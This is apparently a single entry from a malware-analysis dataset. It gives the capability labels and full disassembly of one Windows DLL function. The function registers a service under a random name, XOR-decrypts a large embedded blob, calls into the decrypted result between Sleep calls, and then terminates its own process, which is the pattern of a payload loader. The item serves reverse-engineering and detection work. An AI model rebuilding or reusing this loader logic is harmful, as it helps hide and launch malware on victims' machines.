Function at 0x18000117c
Capabilities:
Encode data using xor
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x388]
sub rsp, 0x470
mov rax, qword [0x180023010]
xor rax, rsp
mov qword [rbp + 0x360], rax
mov edi, 0x104
lea rcx, [rsp + 0x30]
mov r8d, edi
xor edx, edx
call fcn.1800041f0
mov r8d, edi
lea rcx, [rbp + 0x40]
xor edx, edx
call fcn.1800041f0
mov edi, dword [0x180051420]
xor r14d, r14d
test edi, edi
jne 0x1800011e9
call fcn.180001070
mov edi, dword [0x180051420]
mov r8, r14
mov r15d, 1
imul edi, edi, 0x19660d
mov eax, 0x51eb851f
add edi, 0x3c6ef35c
mul edi
shr edx, 3
movsx eax, dl
imul ecx, eax, 0x19
mov al, dil
sub al, cl
add al, 0x61
mov byte [rbp + r8 + 0x40], al
add r8, r15
cmp r8, 0xa
jl 0x1800011f2
mov rcx, r14
mov al, byte [rbp + rcx + 0x40]
mov byte [rsp + rcx + 0x30], al
add rcx, r15
test al, al
jne 0x180001226
xor edx, edx
lea rcx, [rbp + 0x150]
mov r8d, 0x208
call fcn.1800041f0
or rbx, 0xffffffffffffffff
lea rax, [rsp + 0x30]
mov r9, rbx
inc r9
cmp byte [rax + r9], r14b
jne 0x180001255
mov dword [rsp + 0x28], r14d
lea r8, [rsp + 0x30]
xor edx, edx
mov qword [rsp + 0x20], r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rsi, eax
lea ecx, [rsi + 1]
movsxd rcx, ecx
test rcx, rcx
je 0x180001293
movzx eax, r14w
lea rdi, [rbp + 0x150]
rep stosw word [rdi], ax
lea rax, [rsp + 0x30]
inc rbx
cmp byte [rax + rbx], r14b
jne 0x180001298
lea rax, [rbp + 0x150]
mov dword [rsp + 0x28], esi
mov r9, rbx
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x30]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rdx, [0x180001130]
mov word [rbp + rsi*2 + 0x150], r14w
lea rcx, [rbp + 0x150]
call qword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerW]
mov qword [0x180051408], rax
test rax, rax
je 0x18000143b
lea rdx, [0x1800513e8]
mov dword [0x1800513e8], 0x10
mov rcx, rax
mov dword [0x1800513ec], 4
mov qword [0x1800513f0], 5
mov qword [0x1800513f8], r14
mov dword [0x180051400], r14d
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
test eax, eax
je 0x18000143b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1800239f0]
mov edx, 0x2c200
mov rdi, r14
mov al, byte [rdi + rcx]
xor al, byte [0x18004fbf1]
xor al, byte [0x18004fbf2]
xor al, byte [0x18004fbf3]
xor al, byte [0x18004fbf0]
mov byte [rdi + rcx], al
add rdi, r15
cmp rdi, rdx
jb 0x18000135d
mov rax, rdx
xor byte [rcx], 0x34
add rcx, r15
sub rax, r15
jne 0x180001386
call fcn.180001ac8
mov rbx, rax
test rax, rax
je 0x1800013f7
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call fcn.180001dec
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
call rdi
mov rcx, rbx
call fcn.180001ed4
mov rcx, qword [0x180051408]
lea rdx, [0x1800513e8]
mov dword [0x1800513ec], 3
mov dword [0x1800513fc], r14d
mov dword [0x180051400], 0x3e8
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
test eax, eax
je 0x18000143b
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x360]
xor rcx, rsp
call fcn.180001fa0
lea r11, [rsp + 0x470]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret